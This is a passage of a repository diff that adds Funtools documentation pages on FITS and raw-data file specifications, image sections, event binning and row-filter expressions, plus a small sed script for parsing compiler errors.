||||
in <EM>bigendian</EM> format, so that we can convert to the native
|
||||
format for this platform. This issue does not arise for FITS Binary
|
||||
Tables because all FITS files use big-endian ordering, regardless of
|
||||
platform. But for non-FITS data, big-endian data produced on a Sun
|
||||
workstation but read on a Linux PC needs to be byte-swapped, since PCs
|
||||
use little-endian ordering. To specify an ordering, use the
|
||||
<EM>bigendian=</EM> or <EM>endian=</EM> keywords on the command-line
|
||||
or the EVENTS_BIGENDIAN or EVENTS_ENDIAN environment variables. The
|
||||
value of the <EM>bigendian</EM> variables should be "true" or "false",
|
||||
while the value of the <EM>endian</EM> variables should be "little" or
|
||||
"big".
|
||||
|
||||
<P>
|
||||
For example, a PC can access data produced by a Sun using:
|
||||
<PRE>
|
||||
hrc.nepr[EVENTS(),bigendian=true]
|
||||
or
|
||||
hrc.nepr[EVENTS(),endian=big]
|
||||
or
|
||||
setenv EVENTS_BIGENDIAN true
|
||||
or
|
||||
setenv EVENTS_ENDIAN big
|
||||
</PRE>
|
||||
If none of these are specified, the data are assumed to follow the
|
||||
format for that platform and no byte-swapping is performed.
|
||||
|
||||
<H2><A NAME="arrays">Non-FITS Array Files</A></H2>
|
||||
|
||||
In addition to FITS images, Funtools programs and libraries can operate
|
||||
on non-FITS files containing arrays of homogeneous data. To specify
|
||||
an array file, use:
|
||||
<UL>
|
||||
<LI> file[ARRAY(array-spec)]
|
||||
<LI> file[ARRAY()]
|
||||
</UL>
|
||||
|
||||
where array-spec is of the form:
|
||||
<UL>
|
||||
<LI> [type][dim1][.dim2][:skip][endian]
|
||||
</UL>
|
||||
|
||||
and where [type] is:
|
||||
<UL>
|
||||
<LI> b (8-bit unsigned char)
|
||||
<LI> s (16-bit short int)
|
||||
<LI> u (16-bit unsigned short int)
|
||||
<LI> i (32-bit int)
|
||||
<LI> r,f (32-bit float)
|
||||
<LI> d (64-bit float)
|
||||
</UL>
|
||||
|
||||
<P>
|
||||
The dim1 specification is required, but dim2 is optional and defaults
|
||||
to dim1. The skip specification is optional and defaults to 0. The
|
||||
optional endian specification can be 'l' or 'b' and defaults to the
|
||||
endian type for the current machine.
|
||||
|
||||
<P>
|
||||
If no array specification is included within the ARRAY() operator,
|
||||
then the array specification is taken from the <B>ARRAY</B> environment
|
||||
variable. For example:
|
||||
|
||||
<PRE>
|
||||
foo.arr[ARRAY(r512)] # bitpix=-32 dim1=512 dim2=512
|
||||
foo.arr[ARRAY(r512.400)] # bitpix=-32 dim1=512 dim2=400
|
||||
foo.arr[ARRAY(r512.400]) # bitpix=-32 dim1=512 dim2=400
|
||||
foo.arr[ARRAY(r512.400:2880)] # bitpix=-32 dim1=512 dim2=400 skip=2880
|
||||
foo.arr[ARRAY(r512l)] # bitpix=-32 dim1=512 dim2=512 endian=little
|
||||
setenv ARRAY "r512.400:2880"
|
||||
foo.arr[ARRAY()] # bitpix=-32 dim1=512 dim2=400 skip=2880
|
||||
</PRE>
|
||||
|
||||
<H2><A NAME="sections">Specifying Image Sections</A></H2>
|
||||
|
||||
Once a data file (and possibly, a FITS extension) has been specified,
|
||||
the next (optional) part of a bracket specification can be used to
|
||||
select image <B>section</B> information, i.e., to specify the x,y
|
||||
limits of an image section, as well as the blocking factor to apply to
|
||||
that section. This information can be added to any file specification but
|
||||
only is used by Funtools image processing routines.
|
||||
|
||||
<P>
|
||||
The format of the image section specification is one of the following:
|
||||
<UL>
|
||||
<LI> file[xy0:xy1,block]
|
||||
<LI> file[x0:x1,y0:y1,block]
|
||||
<LI> file[x0:x1,*,block]
|
||||
<LI> file[*,y0:y1,block]
|
||||
<LI> file[*,block]
|
||||
</UL>
|
||||
where the limit values can be ints or "*" for default. A single "*"
|
||||
can be used instead of val:val, as shown. Note that blocking is
|
||||
applied to the section after it is extracted.
|
||||
|
||||
<P>
|
||||
In addition to image sections specified by the lo and hi x,y limits, image
|
||||
sections using center positions can be specified:
|
||||
<UL>
|
||||
<LI> file[dim1@xcen,dim2@ycen]
|
||||
<LI> file[xdim2@xcen@ycen]
|
||||
<LI> file[dim1@xcen,dim2@ycen,block]
|
||||
<LI> file[dim@xcen@ycen,block]
|
||||
</UL>
|
||||
Note that the (float) values for dim, dim1, dim2, xcen, ycen must be
|
||||
specified or else the expression does not make sense!
|
||||
|
||||
<P>
|
||||
In all cases, block is optional and defaults to 1. An 's' or 'a' can
|
||||
be appended to signify "sum" or "average" blocking (default is "sum").
|
||||
Section specifications are given in image coordinates by default. If you
|
||||
wish to specify physical coordinates, add a 'p' as the last character
|
||||
of the section specification, before the closing bracket.
|
||||
For example:
|
||||
<PRE>
|
||||
<UL>
|
||||
<LI> file[-8:-7,-8:-7p]
|
||||
<LI> file[-8:-7,-8:-7,2p]
|
||||
</UL>
|
||||
</PRE>
|
||||
A section can be specified in any Funtools file name. If the operation
|
||||
to be applied to that file is an imaging operation, then the
|
||||
specification will be utilized. If the operation is purely a table
|
||||
operation, then the section specification is ignored.
|
||||
|
||||
<P>
|
||||
Do not be confused by:
|
||||
<PRE>
|
||||
foo.fits[2]
|
||||
foo.fits[*,2]
|
||||
</PRE>
|
||||
The former specifies opening the second extension of the FITS file.
|
||||
The latter specifies application of block 2 to the image section.
|
||||
|
||||
<P>
|
||||
Note that the section specification must come after
|
||||
any of FITS <B>ext</B> name or <B>ind</B> number,
|
||||
but all sensible defaults are supported:
|
||||
<UL>
|
||||
<LI> file[ext]
|
||||
<LI> file[ext,index]
|
||||
<LI> file[index]
|
||||
<LI> file[ext,section]
|
||||
<LI> file[ext,index,section]
|
||||
<LI> file[index,section]
|
||||
<LI> file[section]
|
||||
</UL>
|
||||
|
||||
<H2><A NAME="binning">Binning FITS Binary Tables and Non-FITS Event Files</H2>
|
||||
|
||||
If a FITS binary table or a non-FITS raw event file is to be binned
|
||||
into a 2D image (e.g., using the
|
||||
<A HREF="./programs.html#funimage">funimage</A>
|
||||
program), it is necessary to specify the two columns to be used for the
|
||||
binning, as well as the dimensions of the image. Funtools first looks
|
||||
for a specifier of the form:
|
||||
<PRE>
|
||||
bincols=([xnam[:tlmin[:tlmax:[binsiz]]]],[ynam[:tlmin[:tlmax[:binsiz]]]])
|
||||
</PRE>
|
||||
in bracket syntax, and uses the column names thus specified. The tlmin, tlmax,
|
||||
and binsiz specifiers determine the image binning dimensions using:
|
||||
<PRE>
|
||||
dim = (tlmax - tlmin)/binsiz (floating point data)
|
||||
dim = (tlmax - tlmin)/binsiz + 1 (integer data)
|
||||
</PRE>
|
||||
These tlmin, tlmax, and binsiz specifiers can be omitted if TLMIN,
|
||||
TLMAX, and TDBIN header parameters are present in the FITS binary
|
||||
table header, respectively. If only one parameter is specified, it is
|
||||
assumed to be tlmax, and tlmin defaults to 1. If two parameters are
|
||||
specified, they are assumed to be tlmin and tlmax.
|
||||
|
||||
For example, to bin an HRC event list columns "VPOS" and "UPOS", use:
|
||||
<PRE>
|
||||
hrc.nepr[bincols=(VPOS,UPOS)]
|
||||
</PRE>
|
||||
or
|
||||
<PRE>
|
||||
hrc.nepr[bincols=(VPOS:49152,UPOS:4096)]
|
||||
</PRE>
|
||||
Note that you can optionally specify the dimensions of these columns
|
||||
to cover cases where neither TLMAX keywords are defined in
|
||||
the header. If either dimension is specified, then both must be specified.
|
||||
|
||||
<P>
|
||||
You can set the FITS_BINCOLS or EVENTS_BINCOLS environment variable as
|
||||
an alternative to adding the "bincols=" specifier to each file name
|
||||
for FITS binary tables and raw event files, respectively. If no
|
||||
binning keywords or environment variables are specified, or if the
|
||||
specified columns are not in the binary table, the Chandra parameters
|
||||
CPREF (or PREFX) are searched for in the FITS binary table header.
|
||||
Failing this, columns named "X" and "Y" are sought. If these are not
|
||||
found, the code looks for columns containing the characters "X" and
|
||||
"Y". Thus, you can bin on "DETX" and "DETX" columns without
|
||||
specifying them, if these are the only column names containing the "X"
|
||||
and "Y" characters.
|
||||
|
||||
<p>
|
||||
Ordinarily, each event or row contributes one count to an image pixel
|
||||
during the 2D binning process. Thus, if five events all have the same
|
||||
(x,y) position, the image pixel value for that position will have a
|
||||
value of five. It is possible to specify a variable contribution
|
||||
for each event by using the vcol=[colname] filter spec:
|
||||
<PRE>
|
||||
vcol=[colname]
|
||||
</PRE>
|
||||
The vcol colname is a column containing a numeric value in each event row
|
||||
that will be used as the contribution of the given event to its image
|
||||
pixel. For example, consider an event file that has the following content:
|
||||
<PRE>
|
||||
x:e:4 y:e:4 v:e
|
||||
------ ------ ----
|
||||
1 1 1.0
|
||||
2 2 2.0
|
||||
3 3 3.0
|
||||
4 4 0.0
|
||||
1 1 1.0
|
||||
2 2 2.0
|
||||
3 3 3.0
|
||||
4 4 4.0
|
||||
</PRE>
|
||||
There are two events with x,y value of (1,1) so ordinarily a 2D image will
|
||||
have a value of 2 in the (1,1) pixel. If the v column is specified as the
|
||||
value column:
|
||||
<PRE>
|
||||
foo.fits'[vcol=v]'
|
||||
</PRE>
|
||||
then each pixel will contain the additive sum of the associated (x,y)
|
||||
column values from the v column. For example, image pixel (1,1) will
|
||||
contain 1. + 1. = 2, image pixel (2,2) will contain (2 + 2) = 4, etc.
|
||||
|
||||
<p>
|
||||
An important variation on the use of a value column to specify the
|
||||
contribution an event makes to an image pixel is when the value column
|
||||
contains the reciprocal of the event contribution. For this case, the
|
||||
column name should be prefixed with a / (divide sign) thus:
|
||||
<PRE>
|
||||
foo.fits'[vcol=/v]'
|
||||
</PRE>
|
||||
Each image pixel value will then be the sum of the reciprocals of the value
|
||||
column. A zero in the value column results in NaN (not a number).
|
||||
Thus, in the above example, image pixel (1.1) will contain 1/1 + 1/1 = 2,
|
||||
image pixel (2,2) will contain (1/2 + 1/2) = 1, etc. Image pixel (4,4)
|
||||
will contain (1/0 + 1/4) = NaN.
|
||||
|
||||
<p>
|
||||
You can set the FITS_VCOL or EVENTS_VCOL environment variable as
|
||||
an alternative to adding the "vcol=" specifier to each file name
|
||||
for FITS binary tables and raw event files, respectively.
|
||||
|
||||
<P>
|
||||
Finally, when binning events, the data type of the resulting 2D image
|
||||
must be specified. This can be done with the "bitpix=[n]" keyword in
|
||||
the bracket specification. For example:
|
||||
<PRE>
|
||||
events.fits[bincols=(VPOS,UPOS),bitpix=-32]
|
||||
</PRE>
|
||||
will create a floating point image binned on columns VPOS and UPOS.
|
||||
If no bitpix keyword is specified, bitpix=32 is assumed. As with
|
||||
bincols values, you also can use the FITS_BITPIX and EVENTS_BITPIX
|
||||
environment variables to set this value for FITS binary tables and
|
||||
raw event files, respectively.
|
||||
|
||||
<P>
|
||||
The <b>funimage</b> program also allows you to create a 1D image projection
|
||||
along any column of a table by using the <b>bincols=[column]</b>
|
||||
filter specification and specifying a single column.
|
||||
For example, the following command projects a 1D image along
|
||||
the chipx column of a table:
|
||||
<PRE>
|
||||
funimage ev.fits'[bincols=chipx]' im.fits
|
||||
</PRE>
|
||||
See <A HREF="./programs.html#funimage">funimage</A> for more
|
||||
information about creating 1D and 2D images.
|
||||
|
||||
<P>
|
||||
Finally, please note that Funtools supports most FITS standards.
|
||||
We will add missing support as required by the community. In general,
|
||||
however, we do not support non-standard extensions. For example, we
|
||||
sense the presence of the binary table 'variable length array'
|
||||
proposed extension and we pass it along when copying and filtering
|
||||
files, but we do not process it. We will add support for new standards
|
||||
as they become official.
|
||||
|
||||
<H2><A NAME="filters">Table and Spatial Region Filters</H2>
|
||||
<P>
|
||||
Note that, in addition extensions and image sections, Funtools bracket
|
||||
notation can be used to specify table and spatial region filters. These
|
||||
filters are always placed after the image section information. They
|
||||
can be specified in the same bracket or in a separate bracket
|
||||
immediately following:
|
||||
<UL>
|
||||
<LI> file[ext|ind|ARRAY()|EVENTS(),section][filters]
|
||||
<LI> file[ext|ind|ARRAY()|EVENTS(),section,filters]
|
||||
</UL>
|
||||
where:
|
||||
<UL>
|
||||
<LI> <B>file</B> is the Funtools file name
|
||||
<LI> <B>ARRAY()</B> is an array specification
|
||||
<LI> <B>EVENTS()</B> is an event list specification
|
||||
<LI> <B>ext</B> is the FITS extension name
|
||||
<LI> <B>ind</B> is the FITS extension number
|
||||
<LI> <B>section</B> is the image section to extract
|
||||
<LI> <B>filters</B> are spatial region and table (row) filters to apply
|
||||
</UL>
|
||||
|
||||
The topics of table and region filtering are covered in detail in:
|
||||
<UL>
|
||||
<LI><A HREF="./filters.html">Table Filtering</A>
|
||||
<LI><A HREF="./regions.html">Spatial Region Filtering</A>
|
||||
</UL>
|
||||
|
||||
<H2><A NAME="types">Disk Files and Other Supported File Types</A></H2>
|
||||
<P>
|
||||
The specified <B>file</B> usually is an ordinary disk file. In
|
||||
addition, gzip'ed files are supported in Funtools: gzip'ed input files
|
||||
are automatically uncompressed as they are read, and gzip'ed output
|
||||
files are compressed as they are written. NB: if a FITS binary table
|
||||
is written in gzip format, the number of rows in the table will be set
|
||||
to -1. Such a file will work with Funtools programs but will not work
|
||||
with other FITS programs such as ds9.
|
||||
|
||||
<P>
|
||||
The special keywords "stdin" and "stdout" designate Unix standard
|
||||
input and standard output, respectively. The string "-" (hyphen) will
|
||||
be taken to mean "stdin" if the file is opened for reading and
|
||||
"stdout" if the file is opened for writing.
|
||||
|
||||
<P>
|
||||
A file also can be an INET socket on the same or another machine using
|
||||
the syntax:
|
||||
<PRE>
|
||||
machine:port
|
||||
</PRE>
|
||||
Thus, for example:
|
||||
<PRE>
|
||||
karapet:1428
|
||||
</PRE>
|
||||
specifies that I/O should be performed to/from port 1428 on the
|
||||
machine karapet. If no machine name is specified, the default is to
|
||||
use the current machine:
|
||||
<PRE>
|
||||
:1428
|
||||
</PRE>
|
||||
This means to open port 1428 on the current machine. Socket support
|
||||
allows you to generate a distributed pipe:
|
||||
<PRE>
|
||||
on karapet: funtask1 in.fits bynars:1428
|
||||
on bynars: funtask2 :1428 out.fits
|
||||
</PRE>
|
||||
The socket mechanism thus supports simple parallel processing using
|
||||
<B>process decomposition</B>. Note that parallel processing using
|
||||
<B>data decomposition</B> is supported via the <B>section</B> specifier (see
|
||||
below), and the <B>row#</B> specifier, which is part of
|
||||
<A HREF="./filters.html">Table Filtering</A>.
|
||||
|
||||
<P>
|
||||
A file also can be a pointer to shared memory using the syntax:
|
||||
<PRE>
|
||||
shm:[id|@key][:size]
|
||||
</PRE>
|
||||
A shared memory segment is specified with a <B>shm:</B> prefix,
|
||||
followed by either the shared memory id or the shared memory key
|
||||
(where the latter is prefixed by the '@' character). The size (in
|
||||
bytes) of the shared memory segment can then be appended (preceded by
|
||||
the ':' character). If the size specification is absent, the code will
|
||||
attempt to determine the length automatically.
|
||||
|
||||
If the open mode contains the string "w+", then the memory segment will be
|
||||
created if it does not exist. (It also will be released and deleted when the
|
||||
file is closed.) In the case where a memory segment is being created, the
|
||||
length of the segment is required.
|
||||
|
||||
<P>
|
||||
A file also can be Unix piped command (i.e. a program to run) using the syntax:
|
||||
<PRE>
|
||||
"pipe: command arg1 ... argn"
|
||||
</PRE>
|
||||
The output from the command must be a valid FITS file. It is important
|
||||
to use quotes to protect spaces so that command arguments are passed
|
||||
correctly. A silly example is:
|
||||
<PRE>
|
||||
fundisp "pipe: funtable 'foo.fits[cir 512 512 .1]' stdout"
|
||||
</PRE>
|
||||
This seemed like a good idea at the time ...
|
||||
|
||||
<H2><A NAME="types">Lists of Files</A></H2>
|
||||
|
||||
<P>
|
||||
Funtools also will process a list of files as a single file using the
|
||||
syntax:
|
||||
<PRE>
|
||||
"list: file1 file2 ... filen"
|
||||
</PRE>
|
||||
The files in the list are separated by whitespace. Any of the
|
||||
above file types can be used. For example, if two files, foo1.fits and
|
||||
foo2.fits, are part of the same observation, they can be processed as
|
||||
a single file (using their own filters):
|
||||
<PRE>
|
||||
fundisp "list: foo1.fits[cir(512,512,10)] foo2.fits[cir(511,511,10)]"
|
||||
X Y PHA PI TIME DX DY
|
||||
-------- -------- -------- -------- --------------------- -------- --------
|
||||
512 512 6 7 79493997.45854475 578 574
|
||||
512 512 8 9 79494575.58943175 579 573
|
||||
512 512 5 6 79493631.03866175 578 575
|
||||
512 512 5 5 79493290.86521725 578 575
|
||||
512 512 8 9 79493432.00990875 579 573
|
||||
511 511 5 5 79488631.09462625 580 575
|
||||
511 511 10 11 79488780.60006675 580 573
|
||||
511 511 4 4 79494562.35474326 580 575
|
||||
511 511 6 6 79488203.01561825 580 575
|
||||
511 511 6 6 79488017.99730176 580 575
|
||||
511 511 4 4 79494332.45355175 580 575
|
||||
511 511 9 10 79492685.94014275 581 574
|
||||
511 511 5 5 79487708.71298325 580 575
|
||||
511 511 8 9 79493719.00160225 581 573
|
||||
</PRE>
|
||||
Again, note that it is important to avoid spaces in the filters
|
||||
because the list separator also is whitespace. To protect whitespace
|
||||
in a filter, enclose the file specification in quotes:
|
||||
<PRE>
|
||||
fundisp "list: 'foo1.fits[cir 512 512 .1]' foo2.fits[cir(511,511,.1)]"
|
||||
</PRE>
|
||||
|
||||
<!-- =section funfiles SEE ALSO -->
|
||||
<!-- =text See funtools(n) for a list of Funtools help pages -->
|
||||
<!-- =stop -->
|
||||
|
||||
<P>
|
||||
<A HREF="./help.html">Go to Funtools Help Index</A>
|
||||
|
||||
<H5>Last updated: February 15, 2006</H5>
|
||||
|
||||
</BODY>
|
||||
</HTML>
|
|
@ -0,0 +1,325 @@
|
|||
<!-- =defdoc funfilters funfilters n -->
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<TITLE>Table Filtering</TITLE>
|
||||
</HEAD>
|
||||
<BODY>
|
||||
|
||||
<!-- =section funfilters NAME -->
|
||||
<H2><A NAME="funfilters">Funfilters: Filtering Rows in a Table</A></H2>
|
||||
|
||||
<!-- =section funfilters SYNOPSIS -->
|
||||
<H2>Summary</H2>
|
||||
<P>
|
||||
This document contains a summary of the user interface for
|
||||
filtering rows in binary tables.
|
||||
|
||||
<!-- =section funfilters DESCRIPTION -->
|
||||
<H2>Description</H2>
|
||||
<P>
|
||||
Table filtering allows a program to select rows from an table (e.g.,
|
||||
X-ray event list) by checking each row against one or more expressions
|
||||
involving the columns in the table. When a table is filtered, only
|
||||
valid rows satisfying these expressions are passed through for processing.
|
||||
|
||||
<P>
|
||||
A filter expression is specified using bracket notation appended to
|
||||
the filename of the data being processed:
|
||||
<PRE>
|
||||
foo.fits[pha==1&&pi==2]
|
||||
</PRE>
|
||||
It is also possible to put region specification inside a file and
|
||||
then pass the filename in bracket notation:
|
||||
<PRE>
|
||||
foo.fits[@my.reg]
|
||||
</PRE>
|
||||
Filters must be placed after the extension and image section
|
||||
information, when such information is present. The correct order is:
|
||||
<UL>
|
||||
<LI> file[fileinfo,sectioninfo][filters]
|
||||
<LI> file[fileinfo,sectioninfo,filters]
|
||||
</UL>
|
||||
where:
|
||||
<UL>
|
||||
<LI> <B>file</B> is the Funtools file name
|
||||
<LI> <B>fileinfo</B> is an ARRAY, EVENT, FITS extension, or FITS index
|
||||
<LI> <B>sectioninfo</B> is the image section to extract
|
||||
<LI> <B>filters</B> are spatial region and table (row) filters to apply
|
||||
</UL>
|
||||
See <A HREF="./files.html">Funtools Files</A> for more information
|
||||
on file and image section specifications.
|
||||
|
||||
<H2>Filter Expressions</H2>
|
||||
|
||||
<P>
|
||||
Table filtering can be performed on columns of data in a FITS
|
||||
binary table or a raw event file. Table filtering is accomplished by
|
||||
means of <B>table filter specifications</B>. An table filter
|
||||
specification consists of one or more <B>filter expressions</B> Filter
|
||||
specifications also can contain comments and local/global processing
|
||||
directives.
|
||||
|
||||
<P>
|
||||
More specifically, a filter specification consist of one or more lines
|
||||
containing:
|
||||
<PRE>
|
||||
# comment until end of line
|
||||
# include the following file in the table descriptor
|
||||
@file
|
||||
# each row expression can contain filters separated by operators
|
||||
[filter_expression] BOOLOP [filter_expression2], ...
|
||||
# each row expression can contain filters separated by the comma operator
|
||||
[filter_expression1], [filter_expression2], ...
|
||||
# the special row# keyword allows a range of rows to be processed
|
||||
row#=m:n
|
||||
# or a single row
|
||||
row#=m
|
||||
# regions are supported -- but are described elsewhere
|
||||
[spatial_region_expression]
|
||||
</PRE>
|
||||
|
||||
<P>
|
||||
A single filter expression consists of an arithmetic, logical, or
|
||||
other operations involving one or more column values from a
|
||||
table. Columns can be compared to other columns, to header values,
|
||||
or to numeric constants. Standard math functions can be applied to
|
||||
columns. Separate filter expressions can be combined using boolean operators.
|
||||
Standard C semantics can be used when constructing expressions, with
|
||||
the usual precedence and associativity rules holding sway:
|
||||
<PRE>
|
||||
Operator Associativity
|
||||
-------- -------------
|
||||
() left to right
|
||||
!! (logical not) right to left
|
||||
! (bitwise not) - (unary minus) right to left
|
||||
* / left to right
|
||||
+ - left to right
|
||||
< <= > >= left to right
|
||||
== != left to right
|
||||
& (bitwise and) left to right
|
||||
^ (bitwise exclusive or) left to right
|
||||
| (bitwise inclusive or) left to right
|
||||
&& (logical and) left to right
|
||||
|| (logical or) left to right
|
||||
= right to left
|
||||
</PRE>
|
||||
For example, if energy and pha are columns in a table,
|
||||
then the following are valid expressions:
|
||||
<PRE>
|
||||
pha>1
|
||||
energy == pha
|
||||
(pha>1) && (energy<=2)
|
||||
max(pha,energy)>=2.5
|
||||
</PRE>
|
||||
|
||||
<P>
|
||||
Comparison values can be integers or floats. Integer comparison values can be
|
||||
specified in decimal, octal (using '0' as prefix), hex (using '0x' as prefix)
|
||||
or binary (using '0b' as prefix). Thus, the following all specify the same
|
||||
comparison test of a status mask:
|
||||
<PRE>
|
||||
(status & 15) == 8 # decimal
|
||||
(status & 017) == 010 # octal
|
||||
(status & 0xf) == 0x8 # hex
|
||||
(status & 0b1111) == 0b1000 # binary
|
||||
</PRE>
|
||||
<P>
|
||||
The special keyword row# allows you to process a range of rows.
|
||||
When row# is specified, the filter code skips to the designated
|
||||
row and only processes the specified number of rows. The
|
||||
"*" character can be utilized as the high limit value to denote
|
||||
processing of the remaining rows. Thus:
|
||||
<PRE>
|
||||
row#=100:109
|
||||
</PRE>
|
||||
processes 10 rows, starting with row 100 (counting from 1),
|
||||
while:
|
||||
<PRE>
|
||||
row#=100:*
|
||||
</PRE>
|
||||
specifies that all but the first 99 rows are to be processed.
|
||||
|
||||
<P>
|
||||
Spatial region filtering allows a program to select regions of an
|
||||
image or rows of a table (e.g., X-ray events) using simple geometric
|
||||
shapes and boolean combinations of shapes. For a complete description
|
||||
of regions, see <A HREF="./regions.html">Spatial Region Filtering</A>.
|
||||
|
||||
<H2><A NAME="separators">Separators Also Are Operators</A></H2>
|
||||
<P>
|
||||
As mentioned previously, multiple filter expressions can be specified
|
||||
in a filter descriptor, separated by commas or new-lines.
|
||||
When such a comma or new-line separator is used, the boolean AND operator
|
||||
is automatically generated in its place. Thus and expression such as:
|
||||
<PRE>
|
||||
pha==1,pi=2:4
|
||||
</PRE>
|
||||
is equivalent to:
|
||||
<PRE>
|
||||
(pha==1) && (pi>=2&&pi<=4)
|
||||
</PRE>
|
||||
<P>
|
||||
[Note that the behavior of separators is different for filter expressions
|
||||
and spatial region expressions. The former uses AND as the operator, while
|
||||
the latter user OR. See
|
||||
<A HREF="./combo.html">Combining Region and Table Filters</A>
|
||||
for more information about these conventions and how they are treated
|
||||
when combined.]
|
||||
|
||||
<H2><A NAME="range">Range Lists</A></H2><P>
|
||||
<P>
|
||||
Aside from the standard C syntax, filter expressions can make use of
|
||||
IRAF-style <B>range lists</B> which specify a range of values. The
|
||||
syntax requires that the column name be followed by an '=' sign, which
|
||||
is followed by one or more comma-delimited range expressions of the form:
|
||||
<PRE>
|
||||
col = vv # col == vv in range
|
||||
col = :vv # col <= vv in range
|
||||
col = vv: # col >= vv in range
|
||||
col = vv1:vv2 # vv1 <= col <= vv2 in range
|
||||
</PRE>
|
||||
The vv's above must be numeric constants; the right hand side of a
|
||||
range list cannot contain a column name or header value.
|
||||
<P>
|
||||
Note that, unlike an ordinary comma separator, the comma separator used
|
||||
between two or more range expressions denotes OR. Thus, when two or
|
||||
more range expressions are combined with a comma separator, the resulting
|
||||
expression is a shortcut for more complicated boolean logic. For example:
|
||||
<PRE>
|
||||
col = :3,6:8,10:
|
||||
</PRE>
|
||||
is equivalent to:
|
||||
<PRE>
|
||||
(col<=3) || (col>=6 && col <=8) || (col >=10)
|
||||
</PRE>
|
||||
Note also that the single-valued rangelist:
|
||||
<PRE>
|
||||
col = val
|
||||
</PRE>
|
||||
is equivalent to the C-based filter expression:
|
||||
<PRE>
|
||||
col == val
|
||||
</PRE>
|
||||
assuming, of course, that val is a numeric constant.
|
||||
|
||||
<H2><A NAME="math">Math Operations and Functions</A></H2><P>
|
||||
<P>
|
||||
It is permissible to specify C math functions as part of the filter syntax.
|
||||
When the filter parser recognizes a function call, it automatically
|
||||
includes the math.h and links in the C math library. Thus, it is
|
||||
possible to filter rows by expressions such as these:
|
||||
<UL>
|
||||
<LI>(pi+pha)>(2+log(pi)-pha)
|
||||
<LI> min(pi,pha)*14>x
|
||||
<LI> max(pi,pha)==(pi+1)
|
||||
<LI> feq(pi,pha)
|
||||
<LI> div(pi,pha)>0
|
||||
</UL>
|
||||
The function feq(a,b) returns true (1) if the difference between a and b
|
||||
(taken as double precision values) is less than approximately 10E-15.
|
||||
The function div(a,b) divides a by b, but returns NaN (not a number)
|
||||
if b is 0. It is a safe way to avoid floating point errors when
|
||||
dividing one column by another.
|
||||
|
||||
<H2><A NAME="include">Include Files</A></H2><P>
|
||||
<P>
|
||||
The special <B>@filename</B> directive specifies an include file
|
||||
containing filter expressions. This file is processed as part of
|
||||
the overall filter descriptor:
|
||||
<PRE>
|
||||
foo.fits[pha==1,@foo]
|
||||
</PRE>
|
||||
|
||||
<H2><A NAME="header">Header Parameters</A></H2><P>
|
||||
<P>
|
||||
The filter syntax supports comparison between a column value and a
|
||||
header parameter value of a FITS binary tables (raw event files have no
|
||||
such header). The header parameters can be taken from the binary
|
||||
table header or the primary header. For example, assuming there is a
|
||||
header value MEAN_PHA in one of these headers, you can select photons
|
||||
having exactly this value using:
|
||||
|
||||
<UL>
|
||||
<LI> pha==MEAN_PHA
|
||||
</UL>
|
||||
|
||||
<H2>Examples</H2>
|
||||
<P>
|
||||
Table filtering is more easily described by means of examples.
|
||||
Consider data containing the following table structure:
|
||||
<UL>
|
||||
<LI> double TIME
|
||||
<LI> int X
|
||||
<LI> int Y
|
||||
<LI> short PI
|
||||
<LI> short PHA
|
||||
<LI> int DX
|
||||
<LI> int DY
|
||||
</UL>
|
||||
|
||||
<P>
|
||||
Tables can be filtered on these columns using IRAF/QPOE range syntax or
|
||||
any valid C syntax. The following examples illustrate the possibilities:
|
||||
<DL>
|
||||
|
||||
<P>
|
||||
<DT> pha=10
|
||||
<DT> pha==10
|
||||
<DD> select rows whose pha value is exactly 10
|
||||
|
||||
<P>
|
||||
<DT> pha=10:50
|
||||
<DD> select rows whose pha value is in the range of 10 to 50
|
||||
|
||||
<P>
|
||||
<DT> pha=10:50,100
|
||||
<DD> select rows whose pha value is in the range of 10 to 50 or is
|
||||
equal to 100
|
||||
|
||||
<P>
|
||||
<DT> pha>=10 && pha<=50
|
||||
<DD> select rows whose pha value is in the range of 10 to 50
|
||||
|
||||
<P>
|
||||
<DT> pi=1,2&&pha>3
|
||||
<DD> select rows whose pha value is 1 or 2 and whose pi value is 3
|
||||
|
||||
<P>
|
||||
<DT> pi=1,2 || pha>3
|
||||
<DD> select rows whose pha value is 1 or 2 or whose pi value is 3
|
||||
|
||||
<P>
|
||||
<DT> pha==pi+1
|
||||
<DD> select rows whose pha value is 1 less than the pi value
|
||||
|
||||
<P>
|
||||
<DT> (pha==pi+1) && (time>50000.0)
|
||||
<DD> select rows whose pha value is 1 less than the pi value
|
||||
and whose time value is greater than 50000
|
||||
|
||||
<P>
|
||||
<DT>(pi+pha)>20
|
||||
<DD> select rows in which the sum of the pi and pha values is greater
|
||||
than 20
|
||||
|
||||
<P>
|
||||
<DT> pi%2==1
|
||||
<DD> select rows in which the pi value is odd
|
||||
</DL>
|
||||
|
||||
<P>
|
||||
Currently, integer range list limits cannot be specified in binary
|
||||
notation (use decimal, hex, or octal instead). Please contact us if
|
||||
this is a problem.
|
||||
|
||||
<!-- =section funfilters SEE ALSO -->
|
||||
<!-- =text See funtools(n) for a list of Funtools help pages -->
|
||||
<!-- =stop -->
|
||||
|
||||
<P>
|
||||
<A HREF="./help.html">Go to Funtools Help Index</A>
|
||||
|
||||
<H5>Last updated: November 17, 2005</H5>
|
||||
|
||||
</BODY>
|
||||
</HTML>
|
|
@ -0,0 +1,9 @@
|
|||
# cc <foo.c> 2>&1 | sed -n -f funauto.sed
|
||||
# Linux gcc (and others)
|
||||
s/.*`\([^)]*\)' undeclared (first use in this function).*/\1/p
|
||||
# Solaris cc
|
||||
s/.*undefined symbol: \([^)]*\)/\1/p
|
||||
# Dec Alpha/OSF cc
|
||||
s/.*In this statement, "\([^)]*\)" is not declared.*/\1/p
|
||||
# SGI cc
|
||||
s/.*The identifier "\([^)]*\)" is undefined.*/\1/p
|
Binary file not shown.
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,192 @@
|
|||
<!-- =defdoc funtools funtools n -->
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<TITLE>The Funtools Help Facility</TITLE>
|
||||
</HEAD>
|
||||
<BODY>
|
||||
|
||||
<!-- =section funtools NAME -->
|
||||
<H2><A NAME="funtools">Funtools: FITS Users Need Tools</A></H2>
|
||||
|
||||
<!-- =section funtools SYNOPSIS -->
|
||||
<H2>Summary</H2>
|
||||
This document is the Table of Contents for Funtools.
|
||||
|
||||
<!-- =section funtools DESCRIPTION -->
|
||||
<H2>Description</H2>
|
||||
Funtools, is a "minimal buy-in" FITS library and utility package developed
|
||||
at the the High Energy Astrophysics Division of SAO. The Funtools
|
||||
library provides simplified access to a wide array of file types:
|
||||
standard astronomical FITS images and binary tables, raw arrays and
|
||||
